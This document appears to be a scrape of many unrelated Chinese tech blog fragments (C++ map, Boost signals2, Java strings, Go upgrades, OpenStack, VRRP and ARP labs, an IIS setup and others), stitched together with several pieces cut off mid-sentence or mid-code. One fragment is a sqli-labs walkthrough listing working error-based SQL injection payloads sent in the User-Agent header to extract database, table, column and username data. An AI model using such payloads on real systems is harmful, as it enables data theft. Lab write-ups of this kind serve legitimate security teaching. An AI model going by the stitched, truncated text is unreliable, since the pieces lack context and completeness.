✅作者简介:热爱后端语言的大学生,CSDN内容合伙人
✨精品专栏:C++面向对象
🔥系列专栏:C++泛型编程
文章目录 1、map 容器基本操作,从构造到查找统计1.1、map/ multimap 基本概念1.2、map 赋值和构造1.3、map 大小和交换1.4、map 插入和删除1.5、map 查找和统计 2、自定义排序规则2.1、内置数据类型的排序2.2、自定义数据类型的排序 🔥前言
继 set 容器后,今天总结一下 map 容器的功能,从零到一快速掌握基本使用与常用接口。map 在STL 编程中与 vector、list、set 具有同等重要的地位,键值对的方式存储元素在查找时很是高效,那么下面正式开始 map 容器的学习之旅。
1、map 容器基本操作,从构造到查找统计 1.1、map/ multimap 基本概念 特点:
map中所有元素都是二元组pair二元组中第一个元素为key(键),起到索引作用,第二个元素为value(值) 优点:可以根据key值快速找到value值 所有元素都会根据元素的键值自动升序排序 本质:
map/multimap属于关联式容器,底层结构是用二叉树实现 二者区别:
map不允许容器中有重复key值元素multimap允许容器中有重复key值元素 1.2、map 赋值和构造 功能:
对map容器进行构造和赋值操作 函数原型:
map<T1, T2> mp; 默认构造函数:map(const map &mp); 拷贝构造函数map& operator=(const map &mp); 重载等号操作符 代码示例:
// 遍历容器 void printInfo(map<int,int>& mp) { for (map<int, int>::iterator it = mp.begin(); it != mp.
猿如意前端工具集使用体验 CSDN最近发布了一款应用“猿如意”,里面有很多开发相关的工具软件。今天正好把手里里工作忙完,于是准备下载体验一番。
打开猿如意,输入“前端”关键字搜索,发现返回的结果还是很丰富的。有翻译,有联想搜索,有工具软件,还有文档。
我看到结果里有一个“前端工具集”的软件,正好最近在找前端方向的小工具,不知道是不是我心目中想要的,先打开探索一下
直接点击获取,不到3s就下载完成了,按钮变成了运行
打开工具,可以看到这里有很过种类型的功能,虽然是英文的,但是图标和标题写的很明显,基本就能判断出是干什么的
第一个一看就是用css生成三角形
点击到功能页面,交互设计得也很直观,三角形的方向、大小、颜色都是可以配置的
下面自动生成了对应的css代码,非常贴心,可以一键复制到项目里
第二个是一键生成色卡,对于UI还有前端同学非常友好,可以用来做UI规范
对于前后端联调来说,最实用的功能莫过于mock数据了,这个工具里同样提供了数据的批量生成
可以约束字段名称和类型,选择需要的数量,一键生成
除此之外,还有各种特殊符号的编码,再也不用去找各种网站查了
在表单的开发中,我们经常需要设置不同状态下的鼠标交互样式,这里也是提供了最全的鼠标状态
最后还有一个便捷功能,就是查找键盘按键的keycode,只要按下想要查询的键,工具就会给出对应的信息
体验下来,果然是前端工具集呀,工作中常用的场景都覆盖到了,很不错,推荐小伙伴们使用 ~
查看源码
与第17关相同,详情查看sqli-labs-----第17关_Blchain的博客-CSDN博客
发现uname与passwd参数都被check_input了,不能进行sql注入
发现有两个变量uagent和IP
第一个sql语句,但是uname与passwd参数都被check_input了
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; 又发现一个sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; 可以在这个语句上做文章
注意:必须输入正确的username和password才能执行第二个sql语句。
可以看到登陆进去后还会再执行一条SQL语句并且包涵的$uagent没有被过滤掉,并且有报错反馈,可以采用报错注入
注入过程
前提:拿到正确的用户名和密码
通过burp suite抓包
在User-Agent参数后加入单引号',可以发现有报错信息
要考虑value的闭合问题,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#
爆库名
User-Agent: ',extractvalue(1,concat(0x23,database(),0x23,version(),0x23,user())),1)# 爆表名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)# 爆列名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)# 爆username数据
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)# ',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)# ',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.
题目 People in Mars represent the colors in their computers in a similar way as the Earth people. That is, a color is represented by a 6-digit number, where the first 2 digits are for Red, the middle 2 digits for Green, and the last 2 digits for Blue. The only difference is that they use radix 13 (0-9 and A-C) instead of 16. Now given a color in three decimal numbers (each between 0 and 168), you are supposed to output their Mars RGB values.
signals2 是什么? signals2基于Boost里的另一个库signals实现了线程安全的观察者模式。在signals2中,观察者模式被称为信号/插槽(signals/slots),它是一种函数回调机制,一个信号关联了多个插槽,当信号发出时,所有关联它的插槽都会被调用。
怎么引入? #include <boost/signals2.hpp> using namespace boost::signals2; 类摘要 signals2库的核心是signal类,其类摘要如下:
signal的模板参数很长,总共有7个参数,这里仅列出了最重要的前4个,而且除了第一个是必须的,其他都可以用默认值:
第一个模板参数Signature,是一个函数类型,表示可以被signal调用的函数。比如:signal<void(int, double)>第二个模板参数Combiner,是一个函数对象,它被称为“合并器”,用来组合所有插槽的调用结果,默认是optional_last_value< R>,它使用optional库返回最后一个被调用的插槽的返回值第三个模板参数是Group是插槽编组的类型,默认使用int来标记组好,也可以改为std::string等,但是一般不用改第四个模板参数是GroupCompare与Group配合使用,用来确定编组的排序准则,默认是升序(std::less< Group>),因此要求Group必须定义了operator< signal继承自signal_base,而signal_base又继承自noncopyable,因此signal是不可拷贝的。如果把signal作为自定义类的成员变量,那么自定义类也将是不可拷贝的,除非使用shared_ptr/ref来间接持有它。
操作函数 最重要的操作函数是connect(),它把插槽连接到信号上,相当于为信号(事件)增加了一个处理的handler
插槽可以是任意的可调用对象,包括函数指针、函数对象,以及它们的bind/lambda表达式和function对象,signal内部使用function作为容器来保存这些可调用对象。连接时可以指定组号也可以不指定组号,当信号发生时将依据组号的排序准则依次调用插槽函数。如果连接成功,connect()将返回一个connection对象,表示信号与插槽之间的连接关系。它是一个轻量级对象,可以处理两者间的连接,比如断开、重新连接、测试连接状态 成员函数disconnect()可以断开插槽和信号之间的连接,它有两种形式:
传递组号将断开该组的所有插槽传递一个插槽对象仅仅断开该插槽 成员函数disconnect_all_slots()可以一次性断开信号的所有插槽连接。
当前信号所连接的插槽数量可以用num_slots()获得
成员函数empty()相当于num_slots() == 0。disconnect_all_slots()将令empty()返回true
signal提供operator(),可以接受最多9个参数。当operator()被外界调用时意味着产生了一个信号,这将导致信号所关联的所有插槽被调用。插槽调用的结果使用合并器处理后返回,默认情况下是一个optional对象。
成员函数combiner()和set_combiner()分别用于换取和设置合并器对象,通过signal的构造函数也可以在创建的时候就传入一个合并器实例。但是除非想改用其他的合并方式,通常我们直接使用默认函数创建模板参数列表中指定的合并器对象。
当signal析构时,将自动断开所有插槽连接
用法 基本用法 signal就像是一个增强的function对象,它可以容纳(使用connect()连接)多个符合模板参数中函数签名类型的函数,形成一个插槽链表,然后在信号发生时一起调用。
比如,我们有如下两个无参函数,可以用在插槽:
怎么设置用在插槽呢?
接下来就可以使用connect()来连接插槽,最后用operator()来产生信号:
在connect()时我们省略了第二个参数connect_position,其默认值是at_back,表示插槽将插入信号到尾部,因此先调用slots1,再调用slots2
当然,也可以将slost2插入头部:
使用组号 我们可以在connect()时指定插槽所在的组号。默认情况下组号是int类型,组号不一定要从0开始,它可以是任意数值,包括离散值、负值。
如果在连接时指定组号,那么每个编组都将是一个链表,其顺序规则如下:
各组的编号调用顺序由组合从小到大决定(除非在signal的第四个模板参数时指定)每个编组的链表内部的插入顺序由at_back和at_front指定未被编组的插槽如果标识是at_front,将第一个调用未被编组的插槽如果标识是at_back,将最后调用 举个例子:
调用结果:
如何获取插槽的返回值 默认情况下signal使用合并器optional_last_value< R>,它将使用optional对象返回最后被调用的插槽的返回值。
举个例子:
signal的operator()调用这时需要传入一个整数参数,这个参数会被signal存储一个拷贝,然后转发给各个插槽。最后signal将返回插槽链表末尾slots< 50 >()的计算结果,它是一个optional对象,必须用解引用操作符*来获取值:
合并器 默认的合并器optional_last_value< R>并没有太多意义,它通常用在我们并不关心插槽返回值或者返回值是void的时候,但是很多时候我们需要关心多个插槽的返回值。
这时候我们可以自定义合并器来处理插槽的返回值,把多个插槽的返回值合并为一个结果返回。
合并器应该是一个函数对象(不是函数或者函数指针),具有如下形式:
combiner的operator()的返回值类型可以是任意类型,完全由用户指定,不一定必须是optional或者是插槽的返回值类型。函数的模板参数InputIterator是插槽链表的返回值迭代器,可以使用它来遍历所有插槽的返回值,进行所需的处理。
举个例子,我们自定义一个合并器,它使用pair返回所有插槽的返回值之和以及其中的最大值:
怎么用呢?我们在signal声明时需要使用第二个模板参数------合并器类型:
它相当于:
使用:
也可以在构造是传入一个合并器实例,那么signal将会处理这个合并器的拷贝处理返回值。比如下面使用了一个有初值的合并器对象:
管理信号连接 当信号调用完插槽后,可能需要将插槽从信号中断开。
要断开一个插槽,插槽必须能够等价比较,对于函数对象来说就是定义一个operator==。
举个例子:
但是这样很不方便,因为它必须知道与它连接的所有插槽的信息,还要求插槽对象必须是可以等价比较的。怎么办呢?
更灵活的管理信号连接 我们可以用connection对象来管理信号连接。
1.字符串转字符串数组
String str="abcde"; char[]ch =str.toCharArray(); 2.字符串数组转为字符串
//将数组转成字符串~~~~ String[] aa ={"z","s","l","s"}; String s = Arrays.toString(aa); 3.字符数组转为字符串
//方法一: String str = "abcde"; char[] ch = str.toCharArray(); String s = String.valueOf(ch); System.out.println(s); //方法二: char data[] = {'a', 'b', 'c'}; String str = new String(data); 4.截取字符串指定索引起始
String str = "abcde"; String s = str.substring(1, 3);//注意区间是左开右闭 5.字符串转为大小写
String str = "abcde"; String s = str.toUpperCase(); String s = str.toLowerCase(); 6,String中的split的正则分割
public String[] split(String regex) //regex为给定的需要分割字符串规则 例如,字符串"
目录
升级流程
卸载
安装
升级流程 在Mac中对go版本的升级采用先卸载后安装的过程进行go版本升级(或者回退)。
卸载 在卸载前,先查看下当前的go版本:
$ go version go version go1.14.5 darwin/amd64 删除go目录:
sudo rm -rf /usr/local/go /usr/local/go/bin/go /etc/paths.d/go ${HOME}/go 对于升级场景,之前配置的go环境变量可以保留不删除。
安装 进入GO官网的下载页面选择所需的版本:
不清楚自己Mac应该选择哪个版本的时候,可以点击屏幕左上角的苹果logo -> 关于本机:
对于Intel处理器选择Mac OS x86-64版本,其他的处理器(M1, M2)选择Mac OS ARM64版本。
下载完后一直点击继续即可:
创建目录:
mkdir $HOME/go 查看新的go版本信息:
$ go version go version go1.19.3 darwin/amd64 至此,go版本升级完成。
前言 系列文章目录
[Python]目录
文章目录 前言1. 短信API平台2. 使用官方提供的SDK实现短信发送2.1 安装SDK2.2 使用官方的测试用例进行测试2.3 参数及其参数的查看初始化方法调用发送短信方法响应参数 3. 单例模式实现短信发送 1. 短信API平台 使用的短信API平台为:容联云(https://www.yuntongxun.com/)
开发者文档:http://doc.yuntongxun.com/pe/5a531a353b8496dd00dcdfe2
2. 使用官方提供的SDK实现短信发送 Python SDK 文档
Python SDK GitHub地址
2.1 安装SDK pip install ronglian-sms-sdk -i https://pypi.tuna.tsinghua.edu.cn/simple 2.2 使用官方的测试用例进行测试 from ronglian_sms_sdk import SmsSDK # accId = '容联云通讯分配的主账号ID' accId = '...' # accToken = '容联云通讯分配的主账号TOKEN' accToken = '...' # appId = '容联云通讯分配的应用ID' appId = '...' # 发送短信验证码 def send_message(): # 初始化获取发送短信的对象 sdk = SmsSDK(accId, accToken, appId) # tid = '容联云通讯平台创建的模板' 默认模板的编号为1 tid = '1' # tid的数据类型为str # mobile = '手机号1,手机号2' 多个手机号在字符串中使用 , 进行分隔 mobile = '.
b站视频链接:0-尚硅谷-Linux云计算- 虚拟化技术 - 为何需要云计算这种“新事物”_哔哩哔哩_bilibili
视频、课件、资料:
百度网盘链接:https://pan.baidu.com/s/1DQd0LDJND_MC3XvHxB3WKA 提取码:1234 一、Keystone 1.概念 Keystone是一个负责身份管理与授权的组件,给整个openstack的各个组件(nova、cglance...)提供一个统一的验证方式。主要功能:实现用户的身份认证、基于角色的权限管理、openstack其他组件的访问地址和安全策略管理。
两大管理功能:用户管理(3A认证)、服务目录管理
租户(项目)、用户、角色三者需要区分清楚。
一个用户允许有多个租户
一个用户可以绑定到不同的角色(角色代表权限)
一个角色可以绑定到不同的服务
2.组件间的沟通方式 主要过程:第一次user想访问任何组件会先经过Keystone,用户名+密码,如果用户有效且密码正确返回token1,token1对应的含义和权限会进行记录,但是用户必须有相应的租户(项目)才可以访问openstack的组件。如果user不知道当前有哪些租户(通常情况下是不知道的),user拿着token1访问Keystone当前的租户列表(tenant list)有哪些,user才可以在进行下一步访问。
第二次user确定了想访问nova服务,向Keystone提交用户名密码,Keystone放回token2和endpoint(端点),user拿着token2访问对应的endpoint,endpoint并不知道该user有没有权限,endpoint拿着token2提交给Keyston,如果token2认证成功,Keystone直接通知novatoken2是认证成功,你处理一下,nova处理完成后将结果提交给user。
二、Glance镜像服务 1.概念 openstact镜像服务使用户能够发现、注册并检索虚拟机镜像(.img文件),简而言之,就是镜像文件的存储仓库。
镜像URL:<Glance Server Location>/images/<ID> ,一般这三者组成一个全局唯一的URL。如果有两个glance服务,可以更改ID。
镜像的五种状态:
Queued(镜像ID已被保留,镜像还没有上传)
Saving(镜像正在被上传)
Active(镜像已经可以被使用)
Killed(镜像损坏或不可用)
Deleted(镜像已被删除)
2. 组件间工作流程
暴露接口Glance-api, 两种访问方式,一个是通过编程接口,一般上传的是json格式化存储文件,Glance-api下封装Glance-registry和底层,Glance-registry直接连接数据库,并且Glance-registry接口只暴露给Glance-api,不会直接暴露给用户。另外Glance-api可以直接操作底层S3、Object...
三、Nova 1.概念 Iaas的核心组件,也是openstack的核心组件,提供云计算服务、虚拟化服务,Nova本身不支持虚拟化,而是去管理底层的虚拟化(KVM或redhat)。
Nova-api:用于接收请求,请求的发起方可以是用户user通过命令或者程序编程接口或仪表台的套件。
Scheduler:调度服务,如果接收到的是新建虚拟机请求,Scheduler需要选择一个compute去启动一个虚拟机。
Compute Manager:管理虚拟机的启动、关闭、停止,管理虚拟化的整个生命周期。Compute Manager并不直接管理虚拟机,而是通过编写的底层驱动Compute Driver去控制Libvirt(redhat开发的虚拟机管理平台),Libvirt再而控制KVM、Xen等虚拟化平台。
Libvirt支持多种虚拟化监视器(hypervisor)
nova实质上有两种形式,通常由一个Controller和多个Compute计算节点组成,用户通过命令想nova-api发起创建一个虚拟机请求,nova-api向消息队列(queue)编写数据,随后调度Scheduler、nova-network、nova-volumne。调度成功后也向消息队列写数据,最后Compute接收到消息队列的数据开始响应请求。
虚拟机启动流程:如果创建虚拟机没有指定节点,进行权重计算,计算各个节点的剩余资源,Libvirty会自动检测(一般是1分钟)资源并保存在数据库中,nova-Scheduler可以在数据库拿到节点资源,一旦有新的数据写入Compute 节点,会马上更新资源统计并保存在数据库。
三、Netutron 1.概念 Linux环境下网络设备的虚拟化主要有以下几种形式,Neutron也是基于这些技术来完成项目私有虚拟网络network的构建。
(1) TAP/TUN
TAP/TUN是 Linux内核实现的一对虚拟网络设备, TAP工作在二层,TUN工作在三层,Linux内核通过TAP/TUN设备向绑定该设备的用户空间程序发送数据,反之,用户空间程序也可以像操作硬件网络设备那样,通 过 TAP/TUN设备发送数据。
(2) Linux Bridge/VLAN
Linux Bridge (网桥)是工作于二层的虚拟网络设备,功能类似于物理的交换机。
(3) Open vSwitch
Open vSwitch 是一个具有产品级质量的虚拟交换机,它使用C语言进行开发 。可以区分被桥接的物理网卡上流淌的数据包属于哪个VM 、哪 个 OS 及哪个用户。接入到OpenvSwitch上的各个 VM分配到不同的VLAN中实现网络的隔离。
Chkrootkit 搜索核心系统程序并查找签名,同时将文件系统的遍历与产生的输出进行比较。如果该工具发现任何差异,它会有效地对抗它们,而不会让任何病毒损害您的服务器。
安装包:
链接:https://pan.baidu.com/s/1r9FTQFH_Zk8Iu-bnaU7ZzA 提取码:z0uu 安装前环境准备:
yum -y install gcc yum -y install gcc-c++ yum -y install glibc-static yum -y install make 将安装包上传至data文件夹,然后解压编译检测:
cd data tar -zxvf chkrootkit.tar.gz cd chkrootkit-0.55/ make sense cd ../ cp -r chkrootkit-0.55/ /usr/local/chkrootkit rm -rf chkrootkit-0.55/ cd ../ cd usr/local/chkrootkit/ ./chkrootkit 如果系统没有问题大概就是下面的信息:
Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected
解决:this.$refs引用子组件报错 is not a function 问题描述:
vue通过this.$refs引用子组件出现undefined或者is not a function的错误
报错如下:
_this3.$refs.fileUpload.changeFileList is not a function
问题分析: 问题1:出现undefined错误
包含子组件的标签需要放在中第一个子标签的子标签中,而且需要设置ref属性, 因为父组件逻辑代码中是通过该属性调用子组件的方法或者属性的。
问题2: 出现is not a function的错误
子组件需要import,import是请确保路径正确import之后还需要在父组件的component中进行注册 解决办法: 按上述分析对号入座进行修改即可。 完结。
文章目录 文章太短所以格式就简单一些 文章太短所以格式就简单一些 先上结论:如果发现新版云笔记快捷键失灵,新建一份笔记,把旧版云笔记的内容复制到新建的笔记上即可~
笔者是有道云笔记的忠实用户,前段时间有道云笔记提示升级之后,发现新版相较于旧版,除了UI交互上更加便利了一些之外,在性能和流畅度上都有了比较明显的提升(老版的卡顿+吃内存使得笔者很长一段时间再使用本地备忘录+有道云笔记的方式进行日常记录)。
升级之后最让笔者诟病的问题得到了大幅度的缓解,欣喜之余发现一个让人无语的问题,老版里一些很实用的快捷键在新版居然失灵了…在反复查看官方快捷键文档和民间使用攻略,发现这个问题居然没有人提及。
于是乎笔者就这样将就着使用了一段时间,直到某天新建了一份文档,突然失灵的快捷键又恢复了!这才意识到,原来是老版升级到新版之后,新版的快捷键无法兼容老版文档,而在新版新建文档之后,快捷键终于能够使用了。欣喜之余赶紧将老版的文档内容复制了一份到新版…这下终于舒服了
小字原文 ----- 粗体字自己的理解 Topological sound we discuss how spin and valley degrees of freedom appear as highly novel ingredients to tailor the flow of sound in the form of one-way edge modes and defect-immune protected acoustic waves.
讨论了自旋和谷自由度如何作为高度新颖的成分出现,以单向边缘模式和缺陷免疫保护声波的形式调整声音的流动。
首先说一下,什么是时间反演对称性: 再说一下,什么是霍尔效应,什么是量子霍尔效应: 量子霍尔效应(quantum Hall effect)是量子力学版本的霍尔效应,需要在低温强磁场的极端条件下才可以被观察到,此时霍尔电阻与磁场不再呈现线性关系,而出现量子化平台。霍尔效应在1879年被E.H.霍尔发现,它定义了磁场和感应电压之间的关系。当电流通过一个位于磁场中的导体的时候,磁场会对导体中的电子产生一个横向的作用力,从而在导体的两端产生电压差。
In condensed-matter physics, the distinctive phases of matter are characterized by their underlying symmetries that are spontaneously broken.
在凝聚态物理学中,物质的不同相的特征在于其潜在的对称性被自发打破。
In 1980, Von Klitzing found that a two-dimensional (2D) electron gas sample, subjected to low temperature and strong magnetic field, has a quantized Hall conductance, which is independent of sample size and immune to impurities.
一个可靠性强的网络既要有很强的网络弹性以保证故障的快速复原,又要有很高的吞吐量以保证出/入流量的负载均衡。
第一条冗余(First Hop Redundancy Protocol,FHRP),为终端设备提供网关的冗余。对于局域网的终端设备来说,局域网的网关就是它们经历的第一跳路由设备,配置在终端设备上的默认网关就是一条将下一跳指向网关设备连接局域网接口的默认路由。
出口网关发生故障时,主机与外部网络的通信就会中断。配置多个出口网关是提高系统可靠性的常见方法。虚拟路由器冗余协议(Vritual Router Redundancy Protocol,VRRP)是一种部署冗余网关最常用的FHRP
VRRP是一种容错协议,通过把几台路由器设备联合起来组成一台虚拟的路由设备,并通过一定的机制保证主机的下一跳设备出现故障时,可以及时地将业务切换到其它设备,从而保证通信的连续性和可靠性。提供一个虚拟网关指向两个物理网关,实现网关冗余,提高网络可靠性。
~
~
~
1、VRRP基本配置 下图交换机有两条线路分别连接了两台路由器,此时交换机有两个出口网关接入 Internet
这样的拓扑必须有相关的配套机制
系统只能配置一个默认网关,每个网络只能选择其中一个出口接入Internet,当其中一个路由器出现故障时,该出口对应的网络将无法接入InternetVRRP通过虚拟化技术将多台路由器虚拟成一台路由器的服务。将VRRP路由器AR1与AR2连接交换机的接口配置成一个VRRP组,两台路由器的接口就会对外使用相同的IP地址(10.1.1.254/24)和MAC地址。这个时候需要将终端设备上将这个IP地址(10.1.1.254/24)设置为默认网关地址,就可以实现网关设备的冗余。当其中一台路由器出现故障时,该局域网发往Internet的数据包全部由另一台设备转发,此时局域网终端是完全感知不到出口变化的,局域网的网关IP地址始终不变。 做实验,下图两台路由器R1、R2连接到路由器R3接入Internet。要求R1、R2使用VRRP实现路由备份。提高外网接入的可靠性。PC使用虚拟IP地址10.1.1.254作为网关。
配置接口IP,R3配置loopback接口IP(172.16.1.1)作为测试用全网使用OSPF协议互通接口上配置VRRP协议 [R1]interface gigabitethernet 0/0/0 [R1-GigabitEthernet0/0/0]ip address 10.1.1.251 24 [R1-GigabitEthernet0/0/0]quit [R1]interface gigabitethernet 0/0/1 [R1-GigabitEthernet0/0/1]ip address 1.1.1.1 30 [R1-GigabitEthernet0/0/1]quit [R1]ospf [R1-ospf-1]area 0 [R1-ospf-1-area-0.0.0.0]network 10.1.1.0 0.0.0.255 [R1-ospf-1-area-0.0.0.0]network 1.1.1.0 0.0.0.255 [R1-ospf-1-area-0.0.0.0]quit [R2]interface gigabitethernet 0/0/0 [R2-GigabitEthernet0/0/0]ip address 10.1.1.252 24 [R2-GigabitEthernet0/0/0]quit [R2]interface gigabitethernet 0/0/1 [R2-GigabitEthernet0/0/1]ip address 2.1.1.1 30 [R2-GigabitEthernet0/0/1]quit [R2]ospf [R2-ospf-1]area 0 [R2-ospf-1-area-0.0.0.0]network 10.1.1.0 0.0.0.255 [R2-ospf-1-area-0.0.0.0]network 2.
衷心感谢三位大佬的博客 ! ! ! !
这篇博客主要是为了记录笔记方便查看而整理, 主要内容整理来源:
(58条消息) 代理ARP实验_在下小黄的博客-CSDN博客_arp代理实验
(58条消息) 代理ARP_士别三日wyx的博客-CSDN博客_arp代理
(59条消息) 华为ARP代理的三种方式_格洛米爱学习的博客-CSDN博客_华为arp代理
目录
一、代理ARP简述:
(1)简述①: (2)简述② 二、 代理ARP原理:
三、路由式 ARP代理:
(1)原理+应用场景: (2)实验验证:
四、vlan内 代理ARP:
(1)原理+应用场景:
(2)实验配置:
五、vlan 间的 代理ARP:
(1)原理+应用场景:
(2)实验配置:
六、总结:
(1)相同点: (2)不同点:
七、特点:
(1)代理ARP协议的优点:
(2)代理ARP协议的缺点:
一、代理ARP简述: (1)简述①: ①如果ARP请求是从一个网络的主机发往同一网段却不在同一物理网络上的另一台主机,那么连接它们的具有代理ARP功能的设备就可以回答该请求。③对于ARP代理功能,有些厂商是默认打开的,有些厂商是默认关闭的。 (2)简述② 对于没有配置缺省网关的计算机要和其他网络中的计算机实现通信,网关收到源计算机的 ARP 请求会使用自己的 MAC 地址与目标计算机的IP地址对源计算机进行应答。代理ARP就是将一个主机作为对另一个主机ARP进行应答。 ———————————————————————————————————————————————————— 二、 代理ARP原理: 图中R1和R3处于不同的广播域中,R1 和R3在相互通信时,R1先发送了一个ARP广播数据包,请求R3的mac地址,但是由于R1是12.1. 1. 0网段,而R3是13. 1. 1.0网段,R1和R3之间是跨网段访问的,也就是说R1的ARP请求会被R2拦截到,然后R2会封装自己的mac地址为目的地址发送一个ARP回应数据报给R1 (善意的欺骗),然后R2就会代替R1去访问R3。整个过程R1以为自己访问的是R3,实际上真正去访问R3的是R2,R1 却并不知道这个代理过程,这就是所谓的ARP代理,通常用于跨网段访问 ———————————————————————————————————————————————————— 三、路由式 ARP代理: (1)原理+应用场景: 也就是普通的arp代理,当PC1没有网关时去ping不是同一网段的设备(直接封装目的IP的请求报文),到达了最近的路由器时,因为为广播帧,路由器会拆包查看,一般情况下请求的IP地址不是自己的,不会处理,但是开启了的路由的arp代理后,如果发现目的IP地址是自己有相应的路由表,并且出接口不是原来的接口,这时就会按照路由表项路由表的出接口请求ARP地址(如果是直连,直接请求,如果不是直连,请求下一跳),然后会将自己的ARP地址发送个请求端,让对方来找自己就行了,相当于自己就是一个中间人,帮助别人转发 ———————————————————————————————————————————————————— (2)实验验证: 注:PC1和PC2并没有配置网关。每个PC1、PC2、AR1都配置了对应的IP如果PC1和PC2配置网关,PC1和PC2的ARP表里有的只是对应的网关的MAC地址,任然ping不通。 AR1没有开启ARP代理功能时:
AR1开启ARP代理功能之后:
[AR1-GigabitEthernet0/0/0]arp-proxy enable [AR1-GigabitEthernet0/0/1]arp-proxy enable PC1网关的MAC和PC2的MAC一样,事实上是网关替代了PC2回答了PC1的ARP请求。
目录
一、双绞线:
(1)基本介绍:
(2)两种标准线序:
(3) 双绞线分类(10M/100M):
(4)双绞线分类(1000M):
(5)相关使用:
(6)图解:
一、双绞线: (1)基本介绍: 双绞线_百度百科 (baidu.com)
双绞线序_百度百科 (baidu.com)
(2)两种标准线序: (3) 双绞线分类(10M/100M): a 直通线 :水晶头两边的线序一致,就是直通线,1,2,3,6能通。b 交叉线 :1和3 ,2和6 交叉制作。就是一边是568A的线序,一边是568B的线序。就是直通线,1,2,3,6能通。c 全反线 :线序颠倒,console线 注:制作10M/100M双绞线的时候,实际上只有1、2、3、6 传输数据(其他的可以认为暂时不传输数据)。
所以当制作完成,利用测线仪测试的时候,观察1、2、3、6芯对应的灯是亮的,证明基本可以使用。
(4)双绞线分类(1000M): 直通线 :水晶头两边的线序一致,就是直通线,所有芯都要通才能使用交叉线 :1和3,2和6, 4和7 , 5和8 交叉,所有芯都要通才能使用 注:1000M的制作是使用超5类,6类双绞线制作 (5)相关使用: 路由设备:电脑网卡,路由器 桥接设备:交换机,集线器(HUB)使用:相同设备互联:用交叉线(如电脑网卡和路由器相连) 不同的设备互联:用直通线(路由设备和桥接设备之间)注:华为所有数通产品:自动调整接口内部线序,自适应线序。 (6)图解:
现在,我们浏览网页已经成为了一种常态,但是你知道网页是怎么运行的吗?
我们浏览网页,首先会打开浏览器,然后输入网页的地址(当然这里现在已经可以不用我们自己输入地址了,一般现在就是直接搜索关键字,搜索出来我们点击的那个文字或者图片,其实就是我们网页的地址)地址输入完成之后我们的客户端,也就是我们的浏览器与这个地址对应的服务器相连,并告诉服务器我们访问的页面,服务器再将页面反馈给我们的浏览器,然后我们就可以看到网页的内容啦
那么你想不想自己来搭建一个网站呢?属于自己的网站,如果想要的话,那就继续看下去吧!!!
今天小星给大家带来以下的几个内容,完成前面三项就代表你已经能够自己搭建属于自己的网站啦!!!
1、安装Web服务器
2、新建Web网站
3、客户端访问Web网站
4、配置端口不是80的Web网站
当然哈,我下面的演示,都是在虚拟机安装的Windows server 2012里面进行的哦!!!
我们先来完成第一项任务:安装Web服务器。
首先,我们先点击左下角的“服务管理器”打开服务管理器窗口,然后点击“添加角色和功能”,如下图所示:
在开始之前这个界面,点击下一步就好,然后我们也可以勾选“默认情况下将跳过此页”,我们下次添加角色和功能的时候这个界面就没有了:
在安装类型界面,我们勾选“基于角色或基于功能的安装”,然后点击下一步,如下图所示:
在服务器选择窗口,勾选“从服务器池中选择服务器”,也就是我们默认的选项,继续下一步就好了:
因为我们要添加Web服务器,所以我们去勾选“Web服务器(IIS)”,然后会弹出来一个添加角色和功能向导窗口,勾选包括管理工具,然后点击添加功能:
添加功能之后,Web服务器(IIS)前面应该是一个勾勾(我这里是添加之前截的图,所以没有勾勾哦)然后点击下一步:
在选择功能界面,我们保持默认设置,继续下一步就好了:
现在我们进入了Web服务器角色(IIS)界面,这里也是继续下一步:
到了我们的选择角色服务窗口,这里就不能默认了,我们勾选“IP和域限制”和“Windows身份验证”,继续下一步,如下图所示:
最后进入确认安装所选内容,看一下是不是我们需要的东西,看完了,就可以点击“安装”进行安装了:
我们Web服务的安装现在就安装好了,如下图所示,然后我们点击关闭。
第一项任务我们已经完成了,接下来我们来完成第二项任务,新建一个我们的网站。
网站肯定是要显示内容的,这里我们就先写一个非常简单的网页吧!!!我们先进入我们的资源管理器,新建一个文件夹,作为我们存放web文件的地方:
然后右击我们的空白处,新建一个文本文档:
我把我新建的文档取名为xiaoxing,但是现在你会发现,我们看不到文件的后缀名,现在我就演示如何显示文件的后缀名(有些小伙伴应该是知道的吧)我们点击左上角的查看:
勾选文件扩展名,如下图所示:
勾选好后文件的后缀名就出来啦,后缀名为txt:
现在我们在txt文件中打几个字,等会我们浏览网页的时候就可以看到这几个字哟,如下图所示:
当然打完字一定要记得保存哈,然后呢,我们还要改文件的扩展名(也就是我说的后缀名)因为我们网页文件的后缀名是html,所以我们选中文件,然后键盘按下F2这个键,就可以重命名,改为html就好了,改好了就可以看到我们文件的图标都变了,如下图所示:
现在我们的文件就已经完成了,接下来就要开始创建我们的网站啦!!!
还是进入我们的服务器管理器,然后我们点击左上角的工具,再点击Internet Information Services(IIS)管理器,如下图所示:
我们点击WIN-F2D49…(这里我就不打全了,有点点懒,主要是我们这里显示的名字是不一样的)然后我们会弹出Internet Information Services(IIS)管理器窗口,我们勾选“不显示此消息”,点击否就好了,下次就不会再显示了,如下图所示:
点开之后,我们右击网站,点击添加网站:
输入网站名称,我这里输入的是xiaoxing,然后点击我框的那几个点选择我们网站的物理路径,就是我们刚刚之前创建的那个Web文件夹:
找到之后选中,然后点击确认就可以了,如下图所示:
然后我们输入IP地址,IP地址就是我们这台服务器的IP地址,我这里是192.168.48.134,勾选立即启动网站,然后点击确认:
到这里我们的网站就创建好了,名字叫xiaoxing,如下图所示,点击右下角的浏览192.168.48.134:80去看看网站怎么样(当然这里肯定显示也是不一样的,因为我们的IP地址是不一样的)
到了这里你就会发现一个问题,网站会报错,直接是不能显示的,这是为什么呢?
这是因为我们没有把刚刚创建的文件加入到网站的默认文档里面,我们双击xiaoxing这个网站,然后找到默认文档,点击默认文档:
点击右上角的添加,输入我们刚刚创建的网页文档的名字,如下图所示,最后还是点击确定哈:
再次双击我们的xiaoxing回到xiaoxing的主页,再次点击我们的浏览:
